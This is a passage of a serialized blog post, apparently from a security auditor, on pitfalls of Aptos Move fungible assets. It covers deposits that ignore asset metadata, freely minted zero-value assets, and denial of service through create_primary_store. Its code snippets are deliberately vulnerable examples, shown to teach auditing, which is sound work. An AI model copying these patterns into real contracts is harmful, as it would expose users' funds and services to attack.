{\n",{"type":25,"tag":216,"props":65730,"children":65731},{"class":6916,"line":6999},[65732,65737],{"type":25,"tag":216,"props":65733,"children":65734},{"style":7041},[65735],{"type":31,"value":65736},"    assert_not_paused",{"type":25,"tag":216,"props":65738,"children":65739},{"style":6958},[65740],{"type":31,"value":7627},{"type":25,"tag":216,"props":65742,"children":65743},{"class":6916,"line":7104},[65744],{"type":25,"tag":216,"props":65745,"children":65746},{"style":6958},[65747],{"type":31,"value":65748},"    \n",{"type":25,"tag":216,"props":65750,"children":65751},{"class":6916,"line":7210},[65752,65756,65761,65765,65770,65774,65778,65782,65786,65790],{"type":25,"tag":216,"props":65753,"children":65754},{"style":6930},[65755],{"type":31,"value":6933},{"type":25,"tag":216,"props":65757,"children":65758},{"style":6941},[65759],{"type":31,"value":65760}," fa_amount",{"type":25,"tag":216,"props":65762,"children":65763},{"style":6947},[65764],{"type":31,"value":6950},{"type":25,"tag":216,"props":65766,"children":65767},{"style":6958},[65768],{"type":31,"value":65769}," fungible_asset",{"type":25,"tag":216,"props":65771,"children":65772},{"style":6947},[65773],{"type":31,"value":7432},{"type":25,"tag":216,"props":65775,"children":65776},{"style":7041},[65777],{"type":31,"value":24260},{"type":25,"tag":216,"props":65779,"children":65780},{"style":6958},[65781],{"type":31,"value":1844},{"type":25,"tag":216,"props":65783,"children":65784},{"style":6947},[65785],{"type":31,"value":7053},{"type":25,"tag":216,"props":65787,"children":65788},{"style":6941},[65789],{"type":31,"value":65695},{"type":25,"tag":216,"props":65791,"children":65792},{"style":6958},[65793],{"type":31,"value":7791},{"type":25,"tag":216,"props":65795,"children":65796},{"class":6916,"line":7238},[65797,65801,65806,65810,65815,65819,65824],{"type":25,"tag":216,"props":65798,"children":65799},{"style":6930},[65800],{"type":31,"value":6933},{"type":25,"tag":216,"props":65802,"children":65803},{"style":6941},[65804],{"type":31,"value":65805}," sender_address",{"type":25,"tag":216,"props":65807,"children":65808},{"style":6947},[65809],{"type":31,"value":6950},{"type":25,"tag":216,"props":65811,"children":65812},{"style":7041},[65813],{"type":31,"value":65814}," address_of",{"type":25,"tag":216,"props":65816,"children":65817},{"style":6958},[65818],{"type":31,"value":1844},{"type":25,"tag":216,"props":65820,"children":65821},{"style":6941},[65822],{"type":31,"value":65823},"sender",{"type":25,"tag":216,"props":65825,"children":65826},{"style":6958},[65827],{"type":31,"value":7791},{"type":25,"tag":216,"props":65829,"children":65830},{"class":6916,"line":7251},[65831,65836,65840,65845,65849,65854],{"type":25,"tag":216,"props":65832,"children":65833},{"style":7041},[65834],{"type":31,"value":65835},"    check_compliance",{"type":25,"tag":216,"props":65837,"children":65838},{"style":6958},[65839],{"type":31,"value":1844},{"type":25,"tag":216,"props":65841,"children":65842},{"style":6941},[65843],{"type":31,"value":65844},"fa_amount",{"type":25,"tag":216,"props":65846,"children":65847},{"style":6958},[65848],{"type":31,"value":7020},{"type":25,"tag":216,"props":65850,"children":65851},{"style":6941},[65852],{"type":31,"value":65853},"sender_address",{"type":25,"tag":216,"props":65855,"children":65856},{"style":6958},[65857],{"type":31,"value":7791},{"type":25,"tag":216,"props":65859,"children":65860},{"class":6916,"line":7269},[65861],{"type":25,"tag":216,"props":65862,"children":65863},{"style":6958},[65864],{"type":31,"value":65748},{"type":25,"tag":216,"props":65866,"children":65867},{"class":6916,"line":7290},[65868,65873,65877,65882,65886,65890,65894,65898],{"type":25,"tag":216,"props":65869,"children":65870},{"style":7041},[65871],{"type":31,"value":65872},"    increase_deposit",{"type":25,"tag":216,"props":65874,"children":65875},{"style":6958},[65876],{"type":31,"value":1844},{"type":25,"tag":216,"props":65878,"children":65879},{"style":7041},[65880],{"type":31,"value":65881},"get_vault",{"type":25,"tag":216,"props":65883,"children":65884},{"style":6958},[65885],{"type":31,"value":1844},{"type":25,"tag":216,"props":65887,"children":65888},{"style":6941},[65889],{"type":31,"value":65853},{"type":25,"tag":216,"props":65891,"children":65892},{"style":6958},[65893],{"type":31,"value":5400},{"type":25,"tag":216,"props":65895,"children":65896},{"style":6941},[65897],{"type":31,"value":65844},{"type":25,"tag":216,"props":65899,"children":65900},{"style":6958},[65901],{"type":31,"value":7791},{"type":25,"tag":216,"props":65903,"children":65904},{"class":6916,"line":7299},[65905],{"type":25,"tag":216,"props":65906,"children":65907},{"style":6958},[65908],{"type":31,"value":65748},{"type":25,"tag":216,"props":65910,"children":65911},{"class":6916,"line":7551},[65912,65917,65921,65926,65930,65935,65939,65943],{"type":25,"tag":216,"props":65913,"children":65914},{"style":6958},[65915],{"type":31,"value":65916},"    primary_fungible_store",{"type":25,"tag":216,"props":65918,"children":65919},{"style":6947},[65920],{"type":31,"value":7432},{"type":25,"tag":216,"props":65922,"children":65923},{"style":7041},[65924],{"type":31,"value":65925},"deposit",{"type":25,"tag":216,"props":65927,"children":65928},{"style":6958},[65929],{"type":31,"value":1844},{"type":25,"tag":216,"props":65931,"children":65932},{"style":7041},[65933],{"type":31,"value":65934},"global_vault_address",{"type":25,"tag":216,"props":65936,"children":65937},{"style":6958},[65938],{"type":31,"value":22328},{"type":25,"tag":216,"props":65940,"children":65941},{"style":6941},[65942],{"type":31,"value":65695},{"type":25,"tag":216,"props":65944,"children":65945},{"style":6958},[65946],{"type":31,"value":7791},{"type":25,"tag":216,"props":65948,"children":65949},{"class":6916,"line":7568},[65950],{"type":25,"tag":216,"props":65951,"children":65952},{"style":6958},[65953],{"type":31,"value":65748},{"type":25,"tag":216,"props":65955,"children":65956},{"class":6916,"line":7585},[65957,65962,65966,65971,65975,65980,65984,65988,65992,65996],{"type":25,"tag":216,"props":65958,"children":65959},{"style":6958},[65960],{"type":31,"value":65961},"    event",{"type":25,"tag":216,"props":65963,"children":65964},{"style":6947},[65965],{"type":31,"value":7432},{"type":25,"tag":216,"props":65967,"children":65968},{"style":7041},[65969],{"type":31,"value":65970},"emit",{"type":25,"tag":216,"props":65972,"children":65973},{"style":6958},[65974],{"type":31,"value":1844},{"type":25,"tag":216,"props":65976,"children":65977},{"style":7369},[65978],{"type":31,"value":65979},"Deposit",{"type":25,"tag":216,"props":65981,"children":65982},{"style":6958},[65983],{"type":31,"value":49179},{"type":25,"tag":216,"props":65985,"children":65986},{"style":6941},[65987],{"type":31,"value":65853},{"type":25,"tag":216,"props":65989,"children":65990},{"style":6958},[65991],{"type":31,"value":7020},{"type":25,"tag":216,"props":65993,"children":65994},{"style":6941},[65995],{"type":31,"value":65844},{"type":25,"tag":216,"props":65997,"children":65998},{"style":6958},[65999],{"type":31,"value":36978},{"type":25,"tag":216,"props":66001,"children":66002},{"class":6916,"line":7598},[66003],{"type":25,"tag":216,"props":66004,"children":66005},{"style":6958},[66006],{"type":31,"value":7868},{"type":25,"tag":38,"props":66008,"children":66009},{},[66010],{"type":31,"value":66011},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":25,"tag":38,"props":66013,"children":66014},{},[66015],{"type":31,"value":66016},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":25,"tag":26,"props":66018,"children":66020},{"id":66019},"fungible-stores",[66021],{"type":31,"value":66022},"Fungible stores",{"type":25,"tag":38,"props":66024,"children":66025},{},[66026],{"type":31,"value":66027},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":25,"tag":38,"props":66029,"children":66030},{},[66031,66033,66039],{"type":31,"value":66032},"Meet the ",{"type":25,"tag":82,"props":66034,"children":66036},{"className":66035},[],[66037],{"type":31,"value":66038},"FungibleStore",{"type":31,"value":179},{"type":25,"tag":206,"props":66041,"children":66043},{"className":6909,"code":66042,"language":6908,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[66044],{"type":25,"tag":82,"props":66045,"children":66046},{"__ignoreMap":7},[66047,66071,66098,66118,66137],{"type":25,"tag":216,"props":66048,"children":66049},{"class":6916,"line":6917},[66050,66054,66059,66063,66067],{"type":25,"tag":216,"props":66051,"children":66052},{"style":6930},[66053],{"type":31,"value":13351},{"type":25,"tag":216,"props":66055,"children":66056},{"style":7369},[66057],{"type":31,"value":66058}," FungibleStore",{"type":25,"tag":216,"props":66060,"children":66061},{"style":6941},[66062],{"type":31,"value":13360},{"type":25,"tag":216,"props":66064,"children":66065},{"style":6941},[66066],{"type":31,"value":9877},{"type":25,"tag":216,"props":66068,"children":66069},{"style":6958},[66070],{"type":31,"value":7235},{"type":25,"tag":216,"props":66072,"children":66073},{"class":6916,"line":6763},[66074,66078,66082,66086,66090,66094],{"type":25,"tag":216,"props":66075,"children":66076},{"style":6941},[66077],{"type":31,"value":65514},{"type":25,"tag":216,"props":66079,"children":66080},{"style":6947},[66081],{"type":31,"value":1466},{"type":25,"tag":216,"props":66083,"children":66084},{"style":7369},[66085],{"type":31,"value":65523},{"type":25,"tag":216,"props":66087,"children":66088},{"style":6958},[66089],{"type":31,"value":9751},{"type":25,"tag":216,"props":66091,"children":66092},{"style":7369},[66093],{"type":31,"value":65532},{"type":25,"tag":216,"props":66095,"children":66096},{"style":6958},[66097],{"type":31,"value":10083},{"type":25,"tag":216,"props":66099,"children":66100},{"class":6916,"line":6772},[66101,66106,66110,66114],{"type":25,"tag":216,"props":66102,"children":66103},{"style":6941},[66104],{"type":31,"value":66105},"    balance",{"type":25,"tag":216,"props":66107,"children":66108},{"style":6947},[66109],{"type":31,"value":1466},{"type":25,"tag":216,"props":66111,"children":66112},{"style":7369},[66113],{"type":31,"value":9805},{"type":25,"tag":216,"props":66115,"children":66116},{"style":6958},[66117],{"type":31,"value":7459},{"type":25,"tag":216,"props":66119,"children":66120},{"class":6916,"line":6999},[66121,66125,66129,66133],{"type":25,"tag":216,"props":66122,"children":66123},{"style":6941},[66124],{"type":31,"value":65175},{"type":25,"tag":216,"props":66126,"children":66127},{"style":6947},[66128],{"type":31,"value":1466},{"type":25,"tag":216,"props":66130,"children":66131},{"style":7369},[66132],{"type":31,"value":16000},{"type":25,"tag":216,"props":66134,"children":66135},{"style":6958},[66136],{"type":31,"value":7459},{"type":25,"tag":216,"props":66138,"children":66139},{"class":6916,"line":7104},[66140],{"type":25,"tag":216,"props":66141,"children":66142},{"style":6958},[66143],{"type":31,"value":7868},{"type":25,"tag":38,"props":66145,"children":66146},{},[66147,66152,66154,66159,66161,66166,66168,66173,66175,66180],{"type":25,"tag":82,"props":66148,"children":66150},{"className":66149},[],[66151],{"type":31,"value":66038},{"type":31,"value":66153}," manages balances and metadata instead of holding the actual ",{"type":25,"tag":82,"props":66155,"children":66157},{"className":66156},[],[66158],{"type":31,"value":65473},{"type":31,"value":66160}," (it can't because ",{"type":25,"tag":82,"props":66162,"children":66164},{"className":66163},[],[66165],{"type":31,"value":65473},{"type":31,"value":66167}," doesn't have ",{"type":25,"tag":82,"props":66169,"children":66171},{"className":66170},[],[66172],{"type":31,"value":9886},{"type":31,"value":66174},"). Withdrawals create temporary ",{"type":25,"tag":82,"props":66176,"children":66178},{"className":66177},[],[66179],{"type":31,"value":65473},{"type":31,"value":66181}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":25,"tag":22747,"props":66183,"children":66184},{},[],{"type":25,"tag":38,"props":66186,"children":66187},{},[66188,66190,66195,66197,66202],{"type":31,"value":66189},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":25,"tag":82,"props":66191,"children":66193},{"className":66192},[],[66194],{"type":31,"value":65473},{"type":31,"value":66196}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":25,"tag":82,"props":66198,"children":66200},{"className":66199},[],[66201],{"type":31,"value":65473},{"type":31,"value":179},{"type":25,"tag":206,"props":66204,"children":66206},{"className":6909,"code":66205,"language":6908,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[66207],{"type":25,"tag":82,"props":66208,"children":66209},{"__ignoreMap":7},[66210,66247,66299,66342,66349,66356,66428,66440,66478,66497,66504],{"type":25,"tag":216,"props":66211,"children":66212},{"class":6916,"line":6917},[66213,66217,66221,66226,66230,66235,66239,66243],{"type":25,"tag":216,"props":66214,"children":66215},{"style":6941},[66216],{"type":31,"value":65637},{"type":25,"tag":216,"props":66218,"children":66219},{"style":6941},[66220],{"type":31,"value":10152},{"type":25,"tag":216,"props":66222,"children":66223},{"style":7041},[66224],{"type":31,"value":66225}," destroy_zero",{"type":25,"tag":216,"props":66227,"children":66228},{"style":6958},[66229],{"type":31,"value":1844},{"type":25,"tag":216,"props":66231,"children":66232},{"style":6941},[66233],{"type":31,"value":66234},"fungible_asset",{"type":25,"tag":216,"props":66236,"children":66237},{"style":6947},[66238],{"type":31,"value":1466},{"type":25,"tag":216,"props":66240,"children":66241},{"style":7369},[66242],{"type":31,"value":65502},{"type":25,"tag":216,"props":66244,"children":66245},{"style":6958},[66246],{"type":31,"value":18755},{"type":25,"tag":216,"props":66248,"children":66249},{"class":6916,"line":6763},[66250,66254,66258,66262,66266,66270,66275,66279,66283,66287,66291,66295],{"type":25,"tag":216,"props":66251,"children":66252},{"style":6930},[66253],{"type":31,"value":6933},{"type":25,"tag":216,"props":66255,"children":66256},{"style":7369},[66257],{"type":31,"value":65502},{"type":25,"tag":216,"props":66259,"children":66260},{"style":6958},[66261],{"type":31,"value":13536},{"type":25,"tag":216,"props":66263,"children":66264},{"style":6941},[66265],{"type":31,"value":24260},{"type":25,"tag":216,"props":66267,"children":66268},{"style":6958},[66269],{"type":31,"value":7020},{"type":25,"tag":216,"props":66271,"children":66272},{"style":6941},[66273],{"type":31,"value":66274},"metadata",{"type":25,"tag":216,"props":66276,"children":66277},{"style":6947},[66278],{"type":31,"value":1466},{"type":25,"tag":216,"props":66280,"children":66281},{"style":6941},[66282],{"type":31,"value":6975},{"type":25,"tag":216,"props":66284,"children":66285},{"style":6958},[66286],{"type":31,"value":40159},{"type":25,"tag":216,"props":66288,"children":66289},{"style":6947},[66290],{"type":31,"value":266},{"type":25,"tag":216,"props":66292,"children":66293},{"style":6941},[66294],{"type":31,"value":65769},{"type":25,"tag":216,"props":66296,"children":66297},{"style":6958},[66298],{"type":31,"value":6961},{"type":25,"tag":216,"props":66300,"children":66301},{"class":6916,"line":6772},[66302,66307,66311,66315,66319,66323,66328,66332,66337],{"type":25,"tag":216,"props":66303,"children":66304},{"style":7041},[66305],{"type":31,"value":66306},"    assert!",{"type":25,"tag":216,"props":66308,"children":66309},{"style":6958},[66310],{"type":31,"value":1844},{"type":25,"tag":216,"props":66312,"children":66313},{"style":6941},[66314],{"type":31,"value":24260},{"type":25,"tag":216,"props":66316,"children":66317},{"style":6947},[66318],{"type":31,"value":7226},{"type":25,"tag":216,"props":66320,"children":66321},{"style":6983},[66322],{"type":31,"value":6986},{"type":25,"tag":216,"props":66324,"children":66325},{"style":6958},[66326],{"type":31,"value":66327},", error",{"type":25,"tag":216,"props":66329,"children":66330},{"style":6947},[66331],{"type":31,"value":7432},{"type":25,"tag":216,"props":66333,"children":66334},{"style":7041},[66335],{"type":31,"value":66336},"invalid_argument",{"type":25,"tag":216,"props":66338,"children":66339},{"style":6958},[66340],{"type":31,"value":66341},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":25,"tag":216,"props":66343,"children":66344},{"class":6916,"line":6999},[66345],{"type":25,"tag":216,"props":66346,"children":66347},{"style":6958},[66348],{"type":31,"value":7868},{"type":25,"tag":216,"props":66350,"children":66351},{"class":6916,"line":7104},[66352],{"type":25,"tag":216,"props":66353,"children":66354},{"emptyLinePlaceholder":16},[66355],{"type":31,"value":7636},{"type":25,"tag":216,"props":66357,"children":66358},{"class":6916,"line":7210},[66359,66363,66367,66372,66376,66380,66384,66388,66392,66396,66400,66404,66408,66412,66416,66420,66424],{"type":25,"tag":216,"props":66360,"children":66361},{"style":6941},[66362],{"type":31,"value":65637},{"type":25,"tag":216,"props":66364,"children":66365},{"style":6941},[66366],{"type":31,"value":10152},{"type":25,"tag":216,"props":66368,"children":66369},{"style":6941},[66370],{"type":31,"value":66371}," zero",{"type":25,"tag":216,"props":66373,"children":66374},{"style":6958},[66375],{"type":31,"value":9751},{"type":25,"tag":216,"props":66377,"children":66378},{"style":7369},[66379],{"type":31,"value":177},{"type":25,"tag":216,"props":66381,"children":66382},{"style":6947},[66383],{"type":31,"value":1466},{"type":25,"tag":216,"props":66385,"children":66386},{"style":6941},[66387],{"type":31,"value":9877},{"type":25,"tag":216,"props":66389,"children":66390},{"style":6958},[66391],{"type":31,"value":11556},{"type":25,"tag":216,"props":66393,"children":66394},{"style":6941},[66395],{"type":31,"value":66274},{"type":25,"tag":216,"props":66397,"children":66398},{"style":6947},[66399],{"type":31,"value":1466},{"type":25,"tag":216,"props":66401,"children":66402},{"style":7369},[66403],{"type":31,"value":65523},{"type":25,"tag":216,"props":66405,"children":66406},{"style":6958},[66407],{"type":31,"value":9751},{"type":25,"tag":216,"props":66409,"children":66410},{"style":7369},[66411],{"type":31,"value":177},{"type":25,"tag":216,"props":66413,"children":66414},{"style":6958},[66415],{"type":31,"value":12335},{"type":25,"tag":216,"props":66417,"children":66418},{"style":6947},[66419],{"type":31,"value":1466},{"type":25,"tag":216,"props":66421,"children":66422},{"style":7369},[66423],{"type":31,"value":65502},{"type":25,"tag":216,"props":66425,"children":66426},{"style":6958},[66427],{"type":31,"value":7235},{"type":25,"tag":216,"props":66429,"children":66430},{"class":6916,"line":7238},[66431,66436],{"type":25,"tag":216,"props":66432,"children":66433},{"style":7369},[66434],{"type":31,"value":66435},"    FungibleAsset",{"type":25,"tag":216,"props":66437,"children":66438},{"style":6958},[66439],{"type":31,"value":7235},{"type":25,"tag":216,"props":66441,"children":66442},{"class":6916,"line":7251},[66443,66448,66452,66457,66461,66466,66470,66474],{"type":25,"tag":216,"props":66444,"children":66445},{"style":6941},[66446],{"type":31,"value":66447},"        metadata",{"type":25,"tag":216,"props":66449,"children":66450},{"style":6947},[66451],{"type":31,"value":1466},{"type":25,"tag":216,"props":66453,"children":66454},{"style":6958},[66455],{"type":31,"value":66456}," object",{"type":25,"tag":216,"props":66458,"children":66459},{"style":6947},[66460],{"type":31,"value":7432},{"type":25,"tag":216,"props":66462,"children":66463},{"style":7041},[66464],{"type":31,"value":66465},"convert",{"type":25,"tag":216,"props":66467,"children":66468},{"style":6958},[66469],{"type":31,"value":1844},{"type":25,"tag":216,"props":66471,"children":66472},{"style":6941},[66473],{"type":31,"value":66274},{"type":25,"tag":216,"props":66475,"children":66476},{"style":6958},[66477],{"type":31,"value":10682},{"type":25,"tag":216,"props":66479,"children":66480},{"class":6916,"line":7269},[66481,66485,66489,66493],{"type":25,"tag":216,"props":66482,"children":66483},{"style":6941},[66484],{"type":31,"value":11394},{"type":25,"tag":216,"props":66486,"children":66487},{"style":6947},[66488],{"type":31,"value":1466},{"type":25,"tag":216,"props":66490,"children":66491},{"style":6983},[66492],{"type":31,"value":6986},{"type":25,"tag":216,"props":66494,"children":66495},{"style":6958},[66496],{"type":31,"value":7459},{"type":25,"tag":216,"props":66498,"children":66499},{"class":6916,"line":7290},[66500],{"type":25,"tag":216,"props":66501,"children":66502},{"style":6958},[66503],{"type":31,"value":7305},{"type":25,"tag":216,"props":66505,"children":66506},{"class":6916,"line":7299},[66507],{"type":25,"tag":216,"props":66508,"children":66509},{"style":6958},[66510],{"type":31,"value":7868},{"type":25,"tag":38,"props":66512,"children":66513},{},[66514],{"type":31,"value":66515},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":25,"tag":38,"props":66517,"children":66518},{},[66519,66521,66526],{"type":31,"value":66520},"In practice, the ability to freely mint and burn zero ",{"type":25,"tag":82,"props":66522,"children":66524},{"className":66523},[],[66525],{"type":31,"value":65615},{"type":31,"value":66527}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":25,"tag":607,"props":66529,"children":66531},{"id":66530},"primary-and-secondary-stores",[66532],{"type":31,"value":66533},"Primary and secondary stores",{"type":25,"tag":38,"props":66535,"children":66536},{},[66537,66543,66545,66551,66553,66558],{"type":25,"tag":82,"props":66538,"children":66540},{"className":66539},[],[66541],{"type":31,"value":66542},"FungibleStores",{"type":31,"value":66544}," in comparison to ",{"type":25,"tag":82,"props":66546,"children":66548},{"className":66547},[],[66549],{"type":31,"value":66550},"CoinStores",{"type":31,"value":66552}," are not unique. Each user can have multiple ",{"type":25,"tag":82,"props":66554,"children":66556},{"className":66555},[],[66557],{"type":31,"value":66038},{"type":31,"value":66559}," objects for a given token!",{"type":25,"tag":38,"props":66561,"children":66562},{},[66563,66565,66572,66574,66579],{"type":31,"value":66564},"A primary fungible store is maintained via the aptly named ",{"type":25,"tag":162,"props":66566,"children":66569},{"href":66567,"rel":66568},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[166],[66570],{"type":31,"value":66571},"primary_fungible_store",{"type":31,"value":66573}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":25,"tag":82,"props":66575,"children":66577},{"className":66576},[],[66578],{"type":31,"value":65532},{"type":31,"value":66580}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":25,"tag":38,"props":66582,"children":66583},{},[66584],{"type":31,"value":66585},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":25,"tag":206,"props":66587,"children":66589},{"className":6909,"code":66588,"language":6908,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[66590],{"type":25,"tag":82,"props":66591,"children":66592},{"__ignoreMap":7},[66593,66618,66650,66673,66689,66743,66758],{"type":25,"tag":216,"props":66594,"children":66595},{"class":6916,"line":6917},[66596,66600,66605,66609,66614],{"type":25,"tag":216,"props":66597,"children":66598},{"style":6941},[66599],{"type":31,"value":65637},{"type":25,"tag":216,"props":66601,"children":66602},{"style":6941},[66603],{"type":31,"value":66604}," entry",{"type":25,"tag":216,"props":66606,"children":66607},{"style":6941},[66608],{"type":31,"value":10152},{"type":25,"tag":216,"props":66610,"children":66611},{"style":7041},[66612],{"type":31,"value":66613}," register",{"type":25,"tag":216,"props":66615,"children":66616},{"style":6958},[66617],{"type":31,"value":7414},{"type":25,"tag":216,"props":66619,"children":66620},{"class":6916,"line":6763},[66621,66626,66630,66634,66638,66642,66646],{"type":25,"tag":216,"props":66622,"children":66623},{"style":6941},[66624],{"type":31,"value":66625},"    user",{"type":25,"tag":216,"props":66627,"children":66628},{"style":6947},[66629],{"type":31,"value":1466},{"type":25,"tag":216,"props":66631,"children":66632},{"style":6947},[66633],{"type":31,"value":11087},{"type":25,"tag":216,"props":66635,"children":66636},{"style":6941},[66637],{"type":31,"value":11092},{"type":25,"tag":216,"props":66639,"children":66640},{"style":6958},[66641],{"type":31,"value":48098},{"type":25,"tag":216,"props":66643,"children":66644},{"style":6947},[66645],{"type":31,"value":13541},{"type":25,"tag":216,"props":66647,"children":66648},{"style":6958},[66649],{"type":31,"value":15722},{"type":25,"tag":216,"props":66651,"children":66652},{"class":6916,"line":6772},[66653,66657,66661,66665,66669],{"type":25,"tag":216,"props":66654,"children":66655},{"style":6958},[66656],{"type":31,"value":7030},{"type":25,"tag":216,"props":66658,"children":66659},{"style":6941},[66660],{"type":31,"value":10289},{"type":25,"tag":216,"props":66662,"children":66663},{"style":6958},[66664],{"type":31,"value":26972},{"type":25,"tag":216,"props":66666,"children":66667},{"style":6947},[66668],{"type":31,"value":13541},{"type":25,"tag":216,"props":66670,"children":66671},{"style":6958},[66672],{"type":31,"value":65728},{"type":25,"tag":216,"props":66674,"children":66675},{"class":6916,"line":6999},[66676,66681,66685],{"type":25,"tag":216,"props":66677,"children":66678},{"style":6958},[66679],{"type":31,"value":66680},"    [",{"type":25,"tag":216,"props":66682,"children":66683},{"style":6947},[66684],{"type":31,"value":13541},{"type":25,"tag":216,"props":66686,"children":66687},{"style":6958},[66688],{"type":31,"value":15722},{"type":25,"tag":216,"props":66690,"children":66691},{"class":6916,"line":7104},[66692,66696,66701,66705,66710,66714,66718,66722,66726,66730,66734,66739],{"type":25,"tag":216,"props":66693,"children":66694},{"style":6930},[66695],{"type":31,"value":6933},{"type":25,"tag":216,"props":66697,"children":66698},{"style":6941},[66699],{"type":31,"value":66700}," wallet_store",{"type":25,"tag":216,"props":66702,"children":66703},{"style":6947},[66704],{"type":31,"value":6950},{"type":25,"tag":216,"props":66706,"children":66707},{"style":7041},[66708],{"type":31,"value":66709}," create_primary_store",{"type":25,"tag":216,"props":66711,"children":66712},{"style":6958},[66713],{"type":31,"value":11146},{"type":25,"tag":216,"props":66715,"children":66716},{"style":6947},[66717],{"type":31,"value":7432},{"type":25,"tag":216,"props":66719,"children":66720},{"style":7041},[66721],{"type":31,"value":11155},{"type":25,"tag":216,"props":66723,"children":66724},{"style":6958},[66725],{"type":31,"value":1844},{"type":25,"tag":216,"props":66727,"children":66728},{"style":6941},[66729],{"type":31,"value":65823},{"type":25,"tag":216,"props":66731,"children":66732},{"style":6958},[66733],{"type":31,"value":5400},{"type":25,"tag":216,"props":66735,"children":66736},{"style":7041},[66737],{"type":31,"value":66738},"get_metadata",{"type":25,"tag":216,"props":66740,"children":66741},{"style":6958},[66742],{"type":31,"value":19376},{"type":25,"tag":216,"props":66744,"children":66745},{"class":6916,"line":7210},[66746,66750,66754],{"type":25,"tag":216,"props":66747,"children":66748},{"style":6958},[66749],{"type":31,"value":66680},{"type":25,"tag":216,"props":66751,"children":66752},{"style":6947},[66753],{"type":31,"value":13541},{"type":25,"tag":216,"props":66755,"children":66756},{"style":6958},[66757],{"type":31,"value":15722},{"type":25,"tag":216,"props":66759,"children":66760},{"class":6916,"line":7238},[66761],{"type":25,"tag":216,"props":66762,"children":66763},{"style":6958},[66764],{"type":31,"value":7868},{"type":25,"tag":38,"props":66766,"children":66767},{},[66768,66769,66775,66777,66783],{"type":31,"value":474},{"type":25,"tag":82,"props":66770,"children":66772},{"className":66771},[],[66773],{"type":31,"value":66774},"create_primary_store",{"type":31,"value":66776}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":25,"tag":82,"props":66778,"children":66780},{"className":66779},[],[66781],{"type":31,"value":66782},"ensure_primary_store_exists",{"type":31,"value":66784}," is recommended to avoid such issues.",{"type":25,"tag":26,"props":66786,"children":66788},{"id":66787},"fungible-assets-and-objects",[66789],{"type":31,"value":66790},"Fungible assets and objects",{"type":25,"tag":38,"props":66792,"children":66793},{},[66794,66796,66801,66803,66810],{"type":31,"value":66795},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":25,"tag":82,"props":66797,"children":66799},{"className":66798},[],[66800],{"type":31,"value":52814},{"type":31,"value":66802}," module, introduced in ",{"type":25,"tag":162,"props":66804,"children":66807},{"href":66805,"rel":66806},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[166],[66808],{"type":31,"value":66809},"AIP-10",{"type":31,"value":179},{"type":25,"tag":34,"props":66812,"children":66813},{},[66814],{"type":25,"tag":38,"props":66815,"children":66816},{},[66817,66821],{"type":25,"tag":216,"props":66818,"children":66819},{},[66820],{"type":31,"value":65412},{"type":31,"value":66822}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":25,"tag":38,"props":66824,"children":66825},{},[66826],{"type":31,"value":66827},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":25,"tag":607,"props":66829,"children":66831},{"id":66830},"creation-and-deletion",[66832],{"type":31,"value":66833},"Creation and deletion",{"type":25,"tag":38,"props":66835,"children":66836},{},[66837,66839,66845],{"type":31,"value":66838},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":25,"tag":82,"props":66840,"children":66842},{"className":66841},[],[66843],{"type":31,"value":66844},"fungible_asset::add_fungibility",{"type":31,"value":1466},{"type":25,"tag":206,"props":66847,"children":66849},{"className":6909,"code":66848,"language":6908,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), 